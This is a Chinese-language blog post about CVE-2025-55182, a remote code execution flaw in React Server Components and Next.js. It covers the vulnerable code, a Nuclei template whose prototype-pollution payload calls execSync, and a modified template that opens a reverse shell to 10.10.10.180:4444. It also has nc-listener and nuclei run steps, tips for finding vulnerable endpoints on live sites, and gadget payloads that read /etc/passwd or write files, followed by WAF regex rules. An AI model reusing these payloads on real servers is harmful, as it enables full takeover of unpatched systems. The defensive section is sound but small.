神奇的Willem

CVE-2025-55182 反序列化/0-day

2025/12/08
88
0

漏洞概述

CVE-2025-55182 是 React Server Components (RSC) 中的一个严重远程代码执行漏洞,影响 react-server-dom-webpack 包的 19.0.0 至 19.2.0 版本。攻击者可通过构造恶意请求,在服务端执行任意代码,完全控制目标服务器。

影响范围

受影响版本

React 相关包:

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

Next.js 框架:

  • Next.js 15.x (使用 App Router)

  • Next.js 16.x (使用 App Router)

不受影响的情况

以下场景不受此漏洞影响:

  • 纯客户端渲染
    React 应用不使用服务端功能

  • 不使用 RSC 框架
    不使用支持 React Server Components 的框架或打包器

  • Next.js Pages Router
    使用 Pages Router 而非 App Router 的 Next.js 应用

  • React 18.x 及以下版本
    RSC 是 React 19 的新特性

  • 已修复版本
    已升级到安全版本的应用

抓包分析

请求标头 (Request Headers)

向下滚动到 Request Headers 部分,你会看到 Next-Action 混在标准 HTTP 头中间。

POST /products/123 HTTP/1.1
Host: example.com
Content-Length: 452
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXyZ123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...
Origin: https://example.com
Referer: https://example.com/products/123
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B...
Next-Action: f61d56424e6854746f3396658097059728230558
Next-Url: /products/123
Cookie: session=abc...
  • 特征识别

    • Next-Action: 后面跟的那串 f61d56... 是一个 SHA-1 类似的哈希值。这个哈希值直接对应服务器端代码中被 use server 标记的某个具体函数。

    • Next-Router-State-Tree: 这个头也很常见,用于告诉服务器当前的路由状态。

总结

在抓包时,你只要盯着 Request HeadersNext-Action 字段即可。

  • 如果没有这个头:说明该请求只是普通的 API 调用(REST/GraphQL)或者静态资源获取。

  • 如果有这个头:说明你触发了一个 Server Action,服务器端正在执行一个特定的 React 函数,这正是进行相关漏洞(如 CVE-2025-55182)测试的入口点。

根本原因

漏洞存在于 react-server-dom-webpack 的 requireModule 函数中,缺少 hasOwnProperty 检查:

// 漏洞代码 (v19.0.0)
functionrequireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]];  // 直接访问,可被原型链污染!
}

// 修复代码 (v19.2.1)
functionrequireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
if (hasOwnProperty.call(moduleExports, metadata[2]))  // 添加检查
    return moduleExports[metadata[2]];
returnundefined;
}

攻击请求构造

注意:不要因为技术而迷失了本性,攻击他人前要三思。

温馨提示:攻击前记得开代理,做好保护,遵守法律,懂攻击才是保护自己最好的方法不是吗!

声明:本次实验均为内网构建,遇到任何问题不要来问我,与本人Willem无关

这里有一个很厉害的大佬,我是按照这个思路改的!

点击转跳GitHub大佬给的标准分析工具

这将从第一个Gist发送经过调整的PoC多部分请求,检查超时或反序列化错误等利用指标。它模拟了块污染($1:proto:then)、解析的模型状态和_formData。找个有安全回声的装置。

# 漏洞模板的唯一标识符,Nuclei 运行时用它来区分不同的扫描任务
id: CVE-2025-55182-detection

# 基础信息块,用于描述漏洞的背景、危害和作者
info:
  name: React Server Components RCE Detection (Flight Deserialization) # 漏洞名称:React 服务端组件远程代码执行
  author: xai # 模板编写者
  severity: critical # 严重程度:严重 (因为是 RCE,能直接控制服务器)
  description: Detects CVE-2025-55182 via crafted Flight chunk deserialization leading to potential RCE. # 描述:通过构造恶意的 Flight 数据包触发反序列化漏洞,导致 RCE。
  reference: # 参考链接,通常是漏洞公告或 PoC 代码
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55182
    - https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
  classification: # CVSS 评分系统,用于量化漏洞危害
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H # 满分 10 分,无需权限,网络可达即可攻击
    cvss-score: 10.0
    cve-id: CVE-2025-55182
  tags: cve,cve2025,react,nextjs,rce # 标签,方便用户通过 -tags 参数筛选扫描

/////////////////////////////////////////////////////////////////////////////////////
# HTTP 请求模块:定义如何发送攻击包
http:
  - method: POST # 必须是 POST 请求,因为要发送数据体
    path:
      - "{{BaseURL}}" # 目标地址,Nuclei 会自动替换成你输入的 URL (例如 http://10.10.10.200:8080)
    
    headers:
      # 【关键点】Next.js 的特征头。
      # 告诉服务器:“这是一个 Server Action 请求,请处理它”。
      # 值 'x' 是任意的,只要有这个头,Next.js 就会尝试解析 Body。
      Next-Action: x     //这是一个重点
    
    # 攻击载荷 (Payload) 部分
    # 这是一个 multipart/form-data 格式的请求体,是 React Flight 协议的标准传输格式。
    body: |
      ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
      Content-Disposition: form-data; name="0"

      { 
        "then" : "$1:__proto__:then",  # 【攻击核心 1】原型链污染。试图修改 Object 原型上的 'then' 方法。
        "status" : "resolved_model",   # 伪装成一个已经解析完成的 React 模型
        "reason" : -1, 
        "value" : "{ \"then\" : \"$B1337\" }", # 这里的 value 可能会被当作 Promise 执行
        "_response" :{ 
           # 【攻击核心 2】RCE 代码注入。
           # 这里写的是 Node.js 代码:引用 child_process 模块并执行 echo 命令。
           # 如果攻击成功,服务器会在后台执行这个命令。
           "_prefix" : "process.mainModule.require('child_process').execSync('echo vulnerable');",
           "_formData" :{ "get" : "$1:constructor:constructor" } # 进一步污染构造函数
        }
      }
      ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
      Content-Disposition: form-data; name="1"

      "$@0"  # 【引用】React Flight 协议语法,表示引用上面 name="0" 的那一段数据
      ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

    # 匹配器条件:下面的 matchers 只要满足其中一个 (or),就判定为“发现漏洞”
    matchers-condition: or
    matchers:
      
      # 匹配方式 1:基于状态码的“盲注”检测
      # 如果服务器执行命令导致卡死、超时,通常会返回这些状态码
      - type: status
        status:
          - -1  # 连接被重置或超时 (Connection timeout/hang) - 常见于 RCE 导致进程崩溃或挂起
          - 504 # 网关超时 (Gateway timeout) - 如果命令执行时间太长,Nginx 等反向代理会报 504

      # 匹配方式 2:基于报错信息的检测
      # 如果攻击触发了特定的错误,说明 Payload 被解析了,存在漏洞的“痕迹”
      - type: word
        words:
          - "Invalid chunk reference"  # 反序列化失败的报错,说明解析器尝试处理了我们的恶意数据
          - "ReactFlightReplyServer"   # 堆栈信息泄露,说明触及了 React 服务端核心
          - "getOutlinedModel"         # 技术文章中提到的内部函数名
        part: body    # 在响应体 (Body) 中搜索这些关键词
        condition: and # 这些词必须都存在(或者逻辑取决于具体实现,这里通常指匹配列表中的任意一个)

      # 匹配方式 3:基于污染痕迹的检测
      # 检查响应中是否包含了我们试图污染的关键词
      - type: dsl
        dsl:
          - "contains(body, 'prototype') && contains(body, 'constructor')" # 如果响应里把 prototype 和 constructor 吐出来了,说明污染成功
        condition: and

    # 提取器:用于从响应中提取数据(辅助功能,不是判断漏洞存在的标准)
    extractors:
      - type: regex
        name: action_id # 给提取出来的数据起个名字
        part: header    # 从响应头里提取
        group: 1        # 取正则表达式匹配到的第一组内容
        regex:
          - 'Next-Action: ([a-f0-9]{40})' # 尝试提取合法的 Next-Action ID,可能用于后续攻击链

这段代码在做什么?

既然你对网络安全和漏洞复现感兴趣,我帮你拆解一下这段 Nuclei 模板的逻辑,这样你能更好地理解它的攻击原理

  1. 目标识别 (http 模块):

    • 它发送一个 POST 请求。

    • 关键指纹: Headers 里包含了 Next-Action: x。这是 Next.js 框架(特别是使用了 React Server Components 时)特有的处理 Server Actions 的标识。

  2. 攻击载荷 (body 部分):

    • 这是一个 multipart/form-data 请求。

    • Payload 核心在于:"$1:__proto__:then"process.mainModule.require('child_process').execSync(...)

    • 原理: 它试图利用 React Flight 协议的反序列化漏洞,通过原型链污染(Prototype Pollution)来调用 Node.js 的 child_process 模块,从而执行系统命令(RCE)。

  3. 检测逻辑 (matchers 部分):

    • 弱点: 这个模板目前的检测逻辑主要依赖于“由错误导致的超时”(status: -1504) 或者页面返回“Invalid chunk reference”。

    • 建议: 这种基于超时或报错的检测(Blind RCE)误报率很高。如果你想在自己的服务器上精准测试,建议把 Payload 里的 execSync('echo vulnerable') 改成反弹 Shell 或者 curl 一个你控制的服务器地址(例如使用 Interactsh),这样能看到实际的回显。

这个大佬很强,帮我进行了反序列源链污染,不用直接调用那种比如

{"id":"child_process#execSync","bound":["whoami"]}    //类ID直接调用

为什么它通常无效?(很难成功)

这种攻击方式假设服务器的 Webpack/Turbopack 模块映射表(Module Map) 里,竟然把 Node.js 的核心模块 child_process 暴露了出来,并且分配了一个 ID 叫 child_process#execSync

在现代框架(如 Next.js)中,这几乎是不可能的,因为:

  1. 打包限制:构建工具通常不会把 child_process 打包进客户端可访问的清单(Manifest)里。

  2. ID 混淆:真实的 ID 通常是一长串哈希值(如 c123...),而不是明文的 child_process

  3. 安全机制:Server Action 只能调用被标记为 "use server" 的特定函数,不能随意调用系统底层函数。

使用原型链污染 (Prototype Pollution)原理:

这是 CVE-2025-55182 的核心。它不是在调用一个已存在的合法函数,而是在破坏数据解析的过程

  1. 污染:它利用 JSON 解析时的漏洞,修改了 JavaScript 对象的基石(__proto__)。

  2. 劫持:它给对象强行加了一个 then 方法,伪装成一个 Promise。

  3. 执行:当 React 尝试处理这个伪造的 Promise 时,它被迫执行了我们在 then 里注入的恶意代码(加载 child_process)。

next.js基本无法阻止拦截,市面上教你都是傻狗,判断一下ID就给你拦截了。

改造请求构造

注意:不要因为技术而迷失了本性,攻击他人前要三思。

温馨提示:攻击前记得开代理,做好保护,遵守法律,懂攻击才是保护自己最好的方法不是吗!

声明:本次实验均为内网构建,遇到任何问题不要来问我,与本人Willem无关

首先创建攻击脚本请求

你需要将你提供的这段文本保存为一个 .yaml 文件。

  1. 在终端中输入:

    Bash

    nano cve-2025-55182.yaml
    
  2. 将提供的完整代码(从 id: CVE-2025-55182 )复制并粘贴进去。

我们需要通过构造加入反射shell攻击,以及映射目标。

id: cve-2025-55182-reverse-shell

info:
  name: React RCE to Reverse Shell
  author: Willem
  severity: critical
  description: Attempts to spawn a reverse shell to 10.10.10.180:4444
  tags: rce,shell

http:
  - method: POST
    path:
      - "{{BaseURL}}"
    headers:
      Next-Action: x     #这个很重要
    # 注意:下面这一大段是核心,已经把监听的IP 10.10.10.180 和端口 4444 写死在里面了
    body: |
      ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
      Content-Disposition: form-data; name="0"

#  原型链污染入口。告诉解析器:“把下面那个 $1 放到 Object.prototype.then 里去”。

      { "then" : "$1:__proto__:then" , "status" : "resolved_model" , "reason" : -1 , "value" : "{ \"then\" : \"$B1337\" }" , "_response" :{ "_prefix" : "process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.10.180/4444 0>&1\"');" , "_formData" :{ "get" : "$1:constructor:constructor" }}}
      ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
      Content-Disposition: form-data; name="1"

      "$@0"
      ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

    matchers:
      - type: status
        status:
          - 504  # 如果成功反弹shell,服务器通常会因为连接挂起而超时
          - -1

反弹 Shell 命令详解: # bash -c "..." : 启动一个 bash 解释器来运行后面的命令。

  • # bash -i : 启动交互式模式(让你可以像在本地一样打命令)。

  • # >& /dev/tcp/10.10.10.180/4444 : 把输入输出重定向到你的 IP 和端口。 # 0>&1 : 把标准输入也重定向过去。

  • OK我们就改完了,保存!

Shell 攻击是如何进行的?

注意:不要因为技术而迷失了本性,攻击他人前要三思。

温馨提示:攻击前记得开代理,做好保护,遵守法律,懂攻击才是保护自己最好的方法不是吗!

声明:本次实验均为内网构建,遇到任何问题不要来问我,与本人Willem无关

这段 Payload 中的攻击链条如下:

  1. 触发执行: 当 Next.js 服务器解析这个恶意的 Multipart 请求时,它会尝试还原 name="0" 中定义的复杂对象。由于代码中注入了 process.mainModule.require..._prefix 属性中,服务器在处理这个特定属性时(可能是为了构建响应流的头部),错误地将其作为代码执行了。

  2. 调用系统命令: 代码使用了 Node.js 的核心模块 child_process

    • process.mainModule.require('child_process'):加载子进程模块。

    • .execSync(...):同步执行系统命令。这意味着服务器线程会暂停,直到命令执行完毕(这正是导致 504 超时的原因)。

    • bash -c "...":启动一个新的 Bash shell 来运行字符串中的命令。

    • bash -i:启动一个交互式 (interactive) 的 shell。

    • >& /dev/tcp/10.10.10.180/4444:这是 Bash 的特殊重定向语法。它告诉 shell 将标准输出 (stdout)标准错误 (stderr) 全部重定向到一个 TCP 连接,连接的目标是攻击者 IP (10.10.10.180) 的 4444 端口。

    • 0>&1:将标准输入 (stdin) 绑定到标准输出。这意味着服务器端的 shell 会从这个 TCP 连接读取输入(即攻击者发送的命令),并将执行结果写回这个 TCP 连接。

结果:一旦执行成功,攻击者在 10.10.10.180 监听 4444 端口的终端就会直接获得受害者服务器的 Shell 控制权,权限等同于运行 Node.js 进程的用户权限(通常是 www-dataroot)。

搜寻目标

注意:不要因为技术而迷失了本性,攻击他人前要三思。

温馨提示:攻击前记得开代理,做好保护,遵守法律,懂攻击才是保护自己最好的方法不是吗!

声明:本次实验均为内网构建,遇到任何问题不要来问我,与本人Willem无关

使用浏览器开发者工具

  1. 打开开发者工具:在浏览器(Chrome/Edge/Firefox)中按 F12 或右键点击页面选择“检查” (Inspect)。

  2. 切换到网络标签:点击顶部的 Network (网络) 标签页。

  3. 触发交互:在网页上进行操作,比如点击“登录”、“提交”、“搜索”或任何看起来会向服务器发送数据的按钮。

    • 注意:Next-Action 是用于 Server Actions 的,所以必须有数据提交或状态变更的操作才会被触发。

  4. 筛选请求

    • 在 Network 面板的搜索/过滤框中,直接输入 Next-Action 是搜不到的(因为那是头部内容,不是 URL)。

    • 建议先点击 Fetch/XHR 过滤器,只看异步请求。

    • 普通 POST:如果你去攻击一个普通的登录接口(比如传统 API),它通常只看 Content-Type: application/json。它根本不会触发那个有漏洞的“反序列化器”组件。你的攻击代码会被当作一堆乱码直接忽略或报错。

    • 寻找 POST 方法的请求。

  5. 检查头部

    • 点击抓到的 POST 请求。

    • 在右侧详情面板中,点击 Headers (标头)。

    • 查看 Request Headers (请求标头) 区域。

    • 找寻 Next-Action: <一长串哈希值>

    • 特征识别

      • Next-Action: 后面跟的那串 f61d56... 是一个 SHA-1 类似的哈希值。这个哈希值直接对应服务器端代码中被 use server 标记的某个具体函数。

      • Next-Router-State-Tree: 这个头也很常见,用于告诉服务器当前的路由状态。

总结:哪些接口才是有效的?

接口类型

URL 示例

请求特征

你的脚本有效吗?

Server Action (漏洞入口)

通常是 / (根路径) 或当前页面路径

必须包含 Next-Action

有效 (如果版本有漏洞)

普通 REST API

/api/v1/user/login

只有 JSON 数据

❌ 无效 (根本不解析 Flight 协议)

传统表单提交

/submit-form

application/x-www-form-urlencoded

❌ 无效

静态资源

/image.png

GET 请求

❌ 无效

复现漏洞并反弹 Shell

确认 Kali 中已安装 Nuclei

虽然 Kali Linux 的新版本通常自带 Nuclei,但最好确认一下或进行更新,因为 YAML 语法经常更新。打开终端(Terminal)输入:

nuclei -version   #安装会显示版本号

如果没有安装,可以使用以下命令安装:

sudo apt update
sudo apt install nuclei

开启监听

在 Kali 上打开一个终端窗口(我们叫它 窗口 A),输入以下命令来“等”目标连回来:

Bash

nc -lvnp 4444
  • 成功标志:你会看到 listening on [any] 4444 ...,然后不要关闭这个窗口

注意:不要因为技术而迷失了本性,攻击他人前要三思。

温馨提示:攻击前记得开代理,做好保护,遵守法律,懂攻击才是保护自己最好的方法不是吗!

声明:本次实验均为内网构建,遇到任何问题不要来问我,与本人Willem无关

在 Kali 上打开另一个新的终端窗口(窗口 B),运行 Nuclei 发送攻击包:

nuclei -t getshell.yaml -u http://10.10.10.200:8080

如果不出意外就成功了!!!开心

安全防护(7层WAF)

漏洞被写出就可以防住,我写的我自己拦截!

  • 规则名称Block-React-RCE-CVE-2025-55182 (名字随便起,自己能看懂就行)

  • 动作 (Action)拦截 (Block)

  • 匹配方式正则表达式 (Regex)

  • 匹配字段请求体 (Request Body)

  • 匹配内容 (Value)

    Code snippet

    (:__proto__:)|(\"__proto__\")|(:constructor:)
    
    
    (__proto__|constructor|prototype)
    

规则原理解析:

  • (:__proto__:):攻击 Payload 里最显著的特征是 $1:__proto__:then,这个正则能精准抓到它。我们用的就是这个

  • (\"__proto__\"):防止攻击者使用标准的 JSON 格式 {"__proto__": ...} 进行变种攻击。

  • (:constructor:):攻击载荷里经常伴随 constructor 污染,加上这个更保险。

我看还有一个大佬随机直接构建的

直接调用

Gadget

用途

Payload 示例

vm#runInThisContext

执行任意 JS

{"id":"vm#runInThisContext","bound":["process.mainModule.require('child_process').execSync('id').toString()"]}

child_process#execSync

执行系统命令

{"id":"child_process#execSync","bound":["whoami"]}

fs#readFileSync

读取文件

{"id":"fs#readFileSync","bound":["/etc/passwd"]}

fs#writeFileSync

写入文件

{"id":"fs#writeFileSync","bound":["/tmp/pwned","hacked"]}

  • 规则名称Block-Node-Module-Injection

  • 动作拦截 (Block)

  • 匹配方式正则表达式 (Regex)

  • 匹配字段请求体 (Request Body)

  • 匹配内容

    Code snippet

    (child_process)|(vm#)|(fs#)|(process\.mainModule)|(execSync)
    

推荐防护

更新版本!!!这样最安全!

感谢您的阅读!请用来防护自己,不要进行恶意攻击!

注意:不要因为技术而迷失了本性,攻击他人前要三思。

温馨提示:攻击前记得开代理,做好保护,遵守法律,懂攻击才是保护自己最好的方法不是吗!

声明:本次实验均为内网构建,遇到任何问题不要来问我,与本人Willem无关

转载请标注出处,感谢!!!

参考链接

  • React 官方安全公告

  • Next.js 安全公告

  • NVD – CVE-2025-55182

  • GitHub maple3142